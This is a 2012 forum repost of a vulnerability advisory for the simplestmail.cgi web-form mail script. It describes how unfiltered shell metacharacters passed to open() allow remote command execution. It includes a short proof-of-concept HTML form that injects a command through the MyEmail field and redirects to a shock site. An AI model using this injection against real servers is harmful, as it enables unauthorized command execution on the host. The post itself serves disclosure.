DarkLegion Posted August 18, 2012 Report Posted August 18, 2012 source: Leif M. Wright simplestmail.cgi Remote Command Execution VulnerabilityA vulnerabiliy exists in Leif M. Wright's simplestmail.cgi, a script designed to coordinate email responses from web forms.An insecurely-structured call to the open() function leads to a failure to properly filter shell metacharacters from user supplied input. As a result, it is possible for an attacker to cause this script to execute arbitrary shell commands with the privilege of the webserver.<html><form action="http://someplace/cgi-bin/simplestmail.cgi" method=POST>Command: <input type=text name=MyEmail value=";"><input type=hidden name=redirect value="http://goatse.cx"><input type=submit name=submit value="run"></form></html>SURSA Quote
